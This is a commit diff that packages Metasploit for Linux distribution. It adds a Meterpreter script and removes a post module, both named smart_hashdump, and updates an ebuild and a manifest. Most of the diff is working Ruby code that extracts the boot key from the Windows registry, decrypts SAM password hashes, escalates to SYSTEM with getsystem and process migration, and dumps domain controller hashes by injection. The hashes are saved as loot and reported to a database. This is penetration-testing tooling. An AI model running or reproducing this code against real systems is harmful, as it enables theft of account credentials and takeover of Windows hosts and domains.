metasploit: smart_hash script updated

This commit is contained in:
Anton Bolshakov 2011-10-19 14:39:43 +00:00
parent 16afba5aa7
commit a394b3fde5
5 changed files with 405 additions and 493 deletions

View file

@ -1,8 +1,8 @@
AUX hashdump2_script_6ac6c1d.rb 11382 RMD160 faabc47a80ae4a76f42a6364c08c38b961506555 SHA1 65a2db4982f240767b7e69b694cd900c8f908fa5 SHA256 2535f9d3bac1f559b4e5d827e5847b08fe0477bbcb8585960ad45ff15ab30c63
AUX msfrpcd9999.confd 440 RMD160 67e569204d77592e8b0e19d34d87c0c75a722687 SHA1 ff1eea41295270d0b5117ee233b5f5fe44a84834 SHA256 f1148f3f4fe24b2689d6a8f3d8510031f493100a5b48823c0a5bc2085a6439b4
AUX msfrpcd9999.initd 561 RMD160 e9811489784131c4c1e68279d43b4f2ba4c093b1 SHA1 38240c3bba090011c25fffe90d9c898e540ba463 SHA256 89a897977b53a471334caa47eeadcb5595fa783bfafd99c7ae1d5c8f9e7041bc
AUX smart_hasdump_script_82d2446.rb 15509 RMD160 2dbf6b71c336a204c2dd487949a8d619aa3ec4ea SHA1 a0c78784e4286df979a8429c8044988f894aad4a SHA256 0034a0d2c5f7ef488663429eb2cfac4a87bab615059fbe75c5d2b65efbdac0de
AUX smart_hashdump_post_82d2446.rb 15248 RMD160 eafe737b88ff49a20f8ed7be7e350a76fe41503c SHA1 7770ae269df90d345a822162c1007c69cc424de4 SHA256 2b719934b7f7076a5d3439a1dc252d3513312161f8e488154d1815923782da16
AUX smart_hasdump_script_6ac6c1d.rb 15510 RMD160 3ff084bf3b86df1fa37499b004ca040161b324b8 SHA1 3795c23ae5160fdc13ba1d9c7f05e3893ff6f4e9 SHA256 66dec160dd9cc2fee2f8de11bf433f40baa1f41734ecf62aca9a32e0ca8a438f
DIST dns_fuzzer.rb 19884 RMD160 1a403637009cba5eec88647a6e54c0e6ef771e8d SHA1 7076259a5c93caa6471845db2cf4ea5e3a6647a7 SHA256 02818f5cd0554a5408a5ba28a931e79527d584645b1c87cf2b2291c14532a587
DIST jboss_seam_remote_command_rb 3412 RMD160 c577b1bd75943f2ddceea3161bc1037dd0150c2f SHA1 b858c726d3ee26317726635373d5db3b7eeb774d SHA256 c87f1cc1b82ed105c7bf551db7e3bad0a787244c4cdd124015a3ff24cedd23df
DIST vbsmem-1.2.1.patch 69002 RMD160 281461151b0d1e453ee613326f4457eebaddebaa SHA1 883a582552e00102be452a2a0105b9e016b3dccc SHA256 7991a5629c562817919c9bb1c8f0a3bdcd1c63cf9b9f32f322d1d266416589d2
EBUILD metasploit-9999.ebuild 7242 RMD160 9521b8464f340a0d26b320e790c47950af3682bc SHA1 6fb2bafe5ae408c187641fc17eb8604ac28e646a SHA256 c9f8f9a4f405d130baab228bf635514202829b81efd9992255c4c6cac7274b65
EBUILD metasploit-9999.ebuild 7202 RMD160 ef597ba0da59731a0d6a687ecb3d716dfb21cb3f SHA1 2581b0239c7c3b17a30bf40a93315d18eb30c7f3 SHA256 6d6af0c9753eade08276f93078d57ae03ad79d8b1278c2e2619108fd0bc82854

View file

@ -0,0 +1,398 @@
# $Id$
# $Revision$
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
@client = client
@smb_port = 445
log_folder = nil
# Constants for SAM decryption
@sam_lmpass = "LMPASSWORD\x00"
@sam_ntpass = "NTPASSWORD\x00"
@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
@sam_numeric = "0123456789012345678901234567890123456789\x00"
@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*")
@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*")
@des_odd_parity = [
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
]
exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-l" => [ true, "Log folder to save results, if none provided default log path will be used."]
)
meter_type = client.platform
################## Function Declarations ##################
# Usage Message Function
#-------------------------------------------------------------------------------
def usage
print_line "Meterpreter Script for initial information gathering mainly"
print_line "screenshot and hashdump."
print_line(exec_opts.usage)
raise Rex::Script::Completed
end
# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
print_error("#{meter} version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
# Log folder creation Function
#-------------------------------------------------------------------------------
def log_folder_create(log_path = nil)
#Get hostname
host = @client.sys.config.sysinfo["Computer"]
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
if log_path
logs = ::File.join(log_path, 'initial_gather', host + filenameinfo )
else
logs = ::File.join(Msf::Config.log_directory, "scripts", 'initial_gather', host + filenameinfo )
end
# Create the log directory
::FileUtils.mkdir_p(logs)
return logs
end
def capture_boot_key
bootkey = ""
basekey = "System\\CurrentControlSet\\Control\\Lsa"
%W{JD Skew1 GBG Data}.each do |k|
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
return nil if not ok
bootkey << [ok.query_class.to_i(16)].pack("V")
ok.close
end
keybytes = bootkey.unpack("C*")
descrambled = ""
# descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ]
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
0.upto(keybytes.length-1) do |x|
descrambled << [ keybytes[ descrambler[x] ] ].pack("C")
end
descrambled
end
def capture_hboot_key(bootkey)
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ)
return if not ok
vf = ok.query_value("F")
return if not vf
vf = vf.data
ok.close
hash = Digest::MD5.new
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
rc4.key = hash.digest
hbootkey = rc4.update(vf[0x80, 32])
hbootkey << rc4.final
return hbootkey
end
def capture_user_keys
users = {}
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ)
return if not ok
ok.enum_key.each do |usr|
uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ)
next if usr == 'Names'
users[usr.to_i(16)] ||={}
users[usr.to_i(16)][:F] = uk.query_value("F").data
users[usr.to_i(16)][:V] = uk.query_value("V").data
uk.close
end
ok.close
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ)
ok.enum_key.each do |usr|
uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
r = uk.query_value("")
rid = r.type
users[rid] ||= {}
users[rid][:Name] = usr
uk.close
end
ok.close
users
end
def decrypt_user_keys(hbootkey, users)
users.each_key do |rid|
user = users[rid]
hashlm_off = nil
hashnt_off = nil
hashlm_enc = nil
hashnt_enc = nil
hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
# Lanman and NTLM hash available
if(hoff + 0x28 < user[:V].length)
hashlm_off = hoff + 4
hashnt_off = hoff + 24
hashlm_enc = user[:V][hashlm_off, 16]
hashnt_enc = user[:V][hashnt_off, 16]
# No stored lanman hash
elsif (hoff + 0x14 < user[:V].length)
hashnt_off = hoff + 8
hashnt_enc = user[:V][hashnt_off, 16]
hashlm_enc = ""
# No stored hashes at all
else
hashnt_enc = hashlm_enc = ""
end
user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
end
users
end
def convert_des_56_to_64(kstr)
key = []
str = kstr.unpack("C*")
key[0] = str[0] >> 1
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
key[7] = str[6] & 0x7F
0.upto(7) do |i|
key[i] = ( key[i] << 1)
key[i] = @des_odd_parity[key[i]]
end
key.pack("C*")
end
def rid_to_key(rid)
s1 = [rid].pack("V")
s1 << s1[0,3]
s2b = [rid].pack("V").unpack("C4")
s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4")
s2 << s2[0,3]
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
end
def decrypt_user_hash(rid, hbootkey, enchash, pass)
if(enchash.empty?)
case pass
when @sam_lmpass
return @sam_empty_lm
when @sam_ntpass
return @sam_empty_nt
end
return ""
end
des_k1, des_k2 = rid_to_key(rid)
d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
d1.padding = 0
d1.key = des_k1
d2 = OpenSSL::Cipher::Cipher.new('des-ecb')
d2.padding = 0
d2.key = des_k2
md5 = Digest::MD5.new
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
rc4 = OpenSSL::Cipher::Cipher.new('rc4')
rc4.key = md5.digest
okey = rc4.update(enchash)
d1o = d1.decrypt.update(okey[0,8])
d1o << d1.final
d2o = d2.decrypt.update(okey[8,8])
d1o << d2.final
d1o + d2o
end
def read_hashdump
collected_hashes = ""
begin
print_status("\tObtaining the boot key...")
bootkey = capture_boot_key
print_status("\tCalculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...")
hbootkey = capture_hboot_key(bootkey)
print_status("\tObtaining the user list and keys...")
users = capture_user_keys
print_status("\tDecrypting user keys...")
users = decrypt_user_keys(hbootkey, users)
print_status("\tDumping password hashes...")
users.keys.sort{|a,b| a<=>b}.each do |rid|
# next if guest account or support account
next if rid == 501 or rid == 1001
collected_hashes << "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::\n"
@client.framework.db.report_auth_info(
:host => @client.sock.peerhost,
:port => @smb_port,
:sname => 'smb',
:user => users[rid][:Name],
:pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0],
:type => "smb_hash"
)
end
rescue ::Interrupt
raise $!
rescue ::Rex::Post::Meterpreter::RequestError => e
print_error("Meterpreter Exception: #{e.class} #{e}")
print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
rescue ::Exception => e
print_error("Error: #{e.class} #{e} #{e.backtrace}")
end
return collected_hashes
end
def inject_hashdump
collected_hashes = ""
# Load priv extension
@client.core.use("priv")
# dump hashes
@client.priv.sam_hashes.each do |h|
returned_hash = h.to_s.split(":")
rid = returned_hash[1].to_i
next if rid == 501 or rid == 1001
collected_hashes << h.to_s
@client.framework.db.report_auth_info(
:host => @client.sock.peerhost,
:port => @smb_port,
:sname => 'smb',
:user => returned_hash[0],
:pass => returned_hash[2] +":"+ returned_hash[3],
:type => "smb_hash"
)
end
return collected_hashes
end
# Function for checking if target is a DC
def is_dc?
is_dc_srv = false
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
if registry_enumkeys(serviceskey).include?("NTDS")
print_good("\tThis host is a Domain Contoller!")
is_dc_srv = true
end
return is_dc_srv
end
def smart_hash_dump(pwdfile)
domain_controler = is_dc?
if not is_uac_enabled? or is_admin?
print_status("Dumping password hashes...")
# Check if Running as SYSTEM
if @client.sys.config.getuid == "NT AUTHORITY\\SYSTEM"
# For DC's the registry read method does not work.
if not domain_controler
print_status "Running as SYSTEM extracting hashes from registry"
read_hashdump.each_line do |h|
print_good("\t#{h.chomp}")
file_local_write(pwdfile,h.chomp)
end
else
inject_hashdump.each_line do |h|
print_good("\t#{h}")
file_local_write(pwdfile,h)
end
end
else
if @client.sys.config.sysinfo['OS'] =~ /(Windows 7|2008|Vista)/i
print_error("On thos version of Windows you need to be NT AUTHORITY\\SYSTEM to dump the hashes")
print_error("Migrate in to a service process if possible.")
else
inject_hashdump.each_line do |h|
print_good("\t#{h}")
file_local_write(pwdfile,h)
end
end
end
else
print_error("Insuficient privileges to dump hashes!")
end
end
################## Main ##################
exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
when "-l"
if ::File.directory? val
log_folder = log_folder_create(val)
else
print_error("Option provided #{val} is not a folder!")
raise Rex::Script::Completed
end
end
}
# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
# Create Folder for logs and get path for logs
if not log_folder
log_folder = log_folder_create
end
# Define file names
pwd_file = ::File.join(log_folder,@client.sys.config.sysinfo["Computer"]+".pwd")
# Gather info
print_status("Saving logs to #{log_folder}")
smart_hash_dump(pwd_file)

View file

@ -487,7 +487,7 @@ end
################## Main ##################
migrate_system = false
exec_opts.parse(args) { |opt, idx, val|
@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage

View file

@ -1,486 +0,0 @@
##
# $Id$
##
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/accounts'
require 'msf/core/post/file'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::Priv
include Msf::Post::Registry
include Msf::Post::Accounts
include Msf::Auxiliary::Report
include Msf::Post::File
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Local and Domain Controler Account Password Hashes',
'Description' => %q{ This will dump local accounts from the SAM Database and if the targets
host is a Domain Controller the Domain Account Database using the proper
technique depending on privilage level, OS and Role of host.},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Version' => '$Revision$',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptBool.new('GETSYSTEM', [ false, 'Attempt to get SYSTEM Privilege on the target host.', false])
], self.class)
@smb_port = 445
# Constants for SAM decryption
@sam_lmpass = "LMPASSWORD\x00"
@sam_ntpass = "NTPASSWORD\x00"
@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
@sam_numeric = "0123456789012345678901234567890123456789\x00"
@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*")
@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*")
@des_odd_parity = [
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
]
end
# Run Method for when run command is issued
def run
print_status("Running module against #{sysinfo['Computer']}")
host = Rex::FileUtils.clean_path(sysinfo["Computer"])
hash_file = store_loot("windows.hashes", "text/plain", session, "", "#{host}_hashes.txt", "Windows Hashes")
print_status("Hashes will be saved to the Database if one is connected.")
print_status("Hashes will be saved in loot in John Password File format to:")
print_status(hash_file)
smart_hash_dump(datastore['GETSYSTEM'], hash_file)
end
def capture_boot_key
bootkey = ""
basekey = "System\\CurrentControlSet\\Control\\Lsa"
%W{JD Skew1 GBG Data}.each do |k|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
return nil if not ok
bootkey << [ok.query_class.to_i(16)].pack("V")
ok.close
end
keybytes = bootkey.unpack("C*")
descrambled = ""
# descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ]
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
0.upto(keybytes.length-1) do |x|
descrambled << [ keybytes[ descrambler[x] ] ].pack("C")
end
descrambled
end
#-------------------------------------------------------------------------------
def capture_hboot_key(bootkey)
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ)
return if not ok
vf = ok.query_value("F")
return if not vf
vf = vf.data
ok.close
hash = Digest::MD5.new
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
rc4.key = hash.digest
hbootkey = rc4.update(vf[0x80, 32])
hbootkey << rc4.final
return hbootkey
end
#-------------------------------------------------------------------------------
def capture_user_keys
users = {}
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ)
return if not ok
ok.enum_key.each do |usr|
uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ)
next if usr == 'Names'
users[usr.to_i(16)] ||={}
users[usr.to_i(16)][:F] = uk.query_value("F").data
users[usr.to_i(16)][:V] = uk.query_value("V").data
uk.close
end
ok.close
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ)
ok.enum_key.each do |usr|
uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
r = uk.query_value("")
rid = r.type
users[rid] ||= {}
users[rid][:Name] = usr
uk.close
end
ok.close
users
end
#-------------------------------------------------------------------------------
def decrypt_user_keys(hbootkey, users)
users.each_key do |rid|
user = users[rid]
hashlm_off = nil
hashnt_off = nil
hashlm_enc = nil
hashnt_enc = nil
hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
# Lanman and NTLM hash available
if(hoff + 0x28 < user[:V].length)
hashlm_off = hoff + 4
hashnt_off = hoff + 24
hashlm_enc = user[:V][hashlm_off, 16]
hashnt_enc = user[:V][hashnt_off, 16]
# No stored lanman hash
elsif (hoff + 0x14 < user[:V].length)
hashnt_off = hoff + 8
hashnt_enc = user[:V][hashnt_off, 16]
hashlm_enc = ""
# No stored hashes at all
else
hashnt_enc = hashlm_enc = ""
end
user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
end
users
end
#-------------------------------------------------------------------------------
def convert_des_56_to_64(kstr)
key = []
str = kstr.unpack("C*")
key[0] = str[0] >> 1
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
key[7] = str[6] & 0x7F
0.upto(7) do |i|
key[i] = ( key[i] << 1)
key[i] = @des_odd_parity[key[i]]
end
key.pack("C*")
end
#-------------------------------------------------------------------------------
def rid_to_key(rid)
s1 = [rid].pack("V")
s1 << s1[0,3]
s2b = [rid].pack("V").unpack("C4")
s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4")
s2 << s2[0,3]
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
end
#-------------------------------------------------------------------------------
def decrypt_user_hash(rid, hbootkey, enchash, pass)
if(enchash.empty?)
case pass
when @sam_lmpass
return @sam_empty_lm
when @sam_ntpass
return @sam_empty_nt
end
return ""
end
des_k1, des_k2 = rid_to_key(rid)
d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
d1.padding = 0
d1.key = des_k1
d2 = OpenSSL::Cipher::Cipher.new('des-ecb')
d2.padding = 0
d2.key = des_k2
md5 = Digest::MD5.new
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
rc4 = OpenSSL::Cipher::Cipher.new('rc4')
rc4.key = md5.digest
okey = rc4.update(enchash)
d1o = d1.decrypt.update(okey[0,8])
d1o << d1.final
d2o = d2.decrypt.update(okey[8,8])
d1o << d2.final
d1o + d2o
end
#-------------------------------------------------------------------------------
def read_hashdump
collected_hashes = ""
begin
print_status("\tObtaining the boot key...")
bootkey = capture_boot_key
print_status("\tCalculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...")
hbootkey = capture_hboot_key(bootkey)
print_status("\tObtaining the user list and keys...")
users = capture_user_keys
print_status("\tDecrypting user keys...")
users = decrypt_user_keys(hbootkey, users)
print_status("\tDumping password hashes...")
users.keys.sort{|a,b| a<=>b}.each do |rid|
# next if guest account or support account
next if rid == 501 or rid == 1001
collected_hashes << "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::\n"
print_good("\t#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::")
session.framework.db.report_auth_info(
:host => session.sock.peerhost,
:port => @smb_port,
:sname => 'smb',
:user => users[rid][:Name],
:pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0],
:type => "smb_hash"
)
end
rescue ::Interrupt
raise $!
rescue ::Rex::Post::Meterpreter::RequestError => e
print_error("Meterpreter Exception: #{e.class} #{e}")
print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
rescue ::Exception => e
print_error("Error: #{e.class} #{e} #{e.backtrace}")
end
return collected_hashes
end
#-------------------------------------------------------------------------------
def inject_hashdump
collected_hashes = ""
# Load priv extension
session.core.use("priv")
# dump hashes
session.priv.sam_hashes.each do |h|
returned_hash = h.to_s.split(":")
if returned_hash[1] == "j"
returned_hash.delete_at(1)
end
rid = returned_hash[1].to_i
# Skip the Guest Account
next if rid == 501 or rid == 1001
# skip if it returns nil for an entry
next if h == nil
begin
user = returned_hash[0].scan(/^[a-zA-Z0-9\-$.]*/).join.gsub(/\.$/,"")
lmhash = returned_hash[2].scan(/[a-f0-9]*/).join
next if lmhash == nil
hash_entry = "#{user}:#{rid}:#{lmhash}:#{returned_hash[3]}"
collected_hashes << hash_entry
print_good("\t#{hash_entry}")
session.framework.db.report_auth_info(
:host => session.sock.peerhost,
:port => @smb_port,
:sname => 'smb',
:user => user,
:pass => "#{lmhash}:#{returned_hash[3]}",
:type => "smb_hash"
)
rescue
next
end
end
return collected_hashes
end
#-------------------------------------------------------------------------------
# Function for checking if target is a DC
def is_dc?
is_dc_srv = false
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
if registry_enumkeys(serviceskey).include?("NTDS")
if registry_enumkeys(serviceskey + "\\NTDS").include?("Parameters")
print_good("\tThis host is a Domain Contoller!")
is_dc_srv = true
end
end
return is_dc_srv
end
#-------------------------------------------------------------------------------
# Function to migrate to a process running as SYSTEM
def move_to_sys
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
local_sys = resolve_sid("S-1-5-18")
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
# Processes that can Blue Screen a host if migrated in to
dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
print_status("Migrating to process owned by SYSTEM")
session.sys.process.processes.each do |p|
# Check we are not migrating to a process that can BSOD the host
next if dangerous_processes.include?(p["name"])
next if p["pid"] == session.sys.process.getpid
if p["user"] == system_account_name
print_status("Migrating to #{p["name"]}")
session.core.migrate(p["pid"])
print_good("Successfully migrated to #{p["name"]}")
return
end
end
end
#-------------------------------------------------------------------------------
def smart_hash_dump(migrate_system, pwdfile)
domain_controler = is_dc?
if not is_uac_enabled? or is_admin?
print_status("Dumping password hashes...")
# Check if Running as SYSTEM
if is_system?
# For DC's the registry read method does not work.
if domain_controler
begin
file_local_write(pwdfile,inject_hashdump)
rescue::Exception => e
print_error("Failed to dump hashes as SYSTEM, trying to migrate to another process")
puts(e)
if sysinfo['OS'] =~ /(Windows 2008)/i
move_to_sys
file_local_write(pwdfile,inject_hashdump)
else
print_error("Could not get Domain Hashes!")
end
end
# Check if not DC
else
print_status "Running as SYSTEM extracting hashes from registry"
file_local_write(pwdfile,read_hashdump)
end
# Check if not running as SYSTEM
else
# Check if Domain Controller
if domain_controler
begin
file_local_write(pwdfile,inject_hashdump)
rescue
if migrate_system
print_status("Trying to get SYSTEM Privilege")
results = session.priv.getsystem
if results[0]
print_good("Got SYSTEM Privelege")
if session.sys.config.sysinfo['OS'] =~ /(Windows 2008)/i
# Migrate process since on Windows 2008 R2 getsystem
# does not set certain privilege tokens required to
# inject and dump the hashes.
move_to_sys
end
file_local_write(pwdfile,inject_hashdump)
else
print_error("Could not obtain System Privileges")
end
else
print_error("Could not get Domain Hashes!")
end
end
elsif sysinfo['OS'] =~ /(Windows 7|2008|Vista)/i
if migrate_system
print_status("Trying to get SYSTEM Privilege")
results = session.priv.getsystem
if results[0]
print_good("Got SYSTEM Privelege")
file_local_write(pwdfile,read_hashdump)
else
print_error("Could not obtain System Privileges")
end
else
print_error("On this version of Windows you need to be NT AUTHORITY\\SYSTEM to dump the hashes")
print_error("Try setting GETSYSTEM to true.")
end
else
puts migrate_system
if migrate_system
print_status("Trying to get SYSTEM Privilege")
results = session.priv.getsystem
if results[0]
print_good("Got SYSTEM Privelege")
file_local_write(pwdfile,read_hashdump)
else
print_error("Could not obtain System Privileges")
end
else
file_local_write(pwdfile,inject_hashdump)
end
end
end
else
print_error("Insuficient privileges to dump hashes!")
end
end
end

View file

@ -122,9 +122,9 @@ src_install() {
if use unstable; then
#smart hasdump from http://www.darkoperator.com/blog/2011/5/19/metasploit-post-module-smart_hashdump.html
#https://download.github.com/darkoperator-Meterpreter-Scripts-82d2446.tar.gz
cp "${FILESDIR}"/smart_hasdump_script_82d2446.rb "${D}"/usr/lib/${PN}${SLOT}/scripts/meterpreter/smart_hasdump.rb || die "Copy files failed"
cp "${FILESDIR}"/smart_hashdump_post_82d2446.rb "${D}"/usr/lib/${PN}${SLOT}/modules/post/windows/gather/smart_hashdump.rb || die "Copy files failed"
#https://github.com/darkoperator/Meterpreter-Scripts
cp "${FILESDIR}"/smart_hasdump_script_6ac6c1d.rb "${D}"/usr/lib/${PN}${SLOT}/scripts/meterpreter/smart_hasdump.rb || die "Copy files failed"
cp "${FILESDIR}"/hashdump2_script_6ac6c1d.rb "${D}"/usr/lib/${PN}${SLOT}/scripts/meterpreter/hashdump2.rb || die "Copy files failed"
#dnz fuzzing
#http://dev.metasploit.com/redmine/issues/3289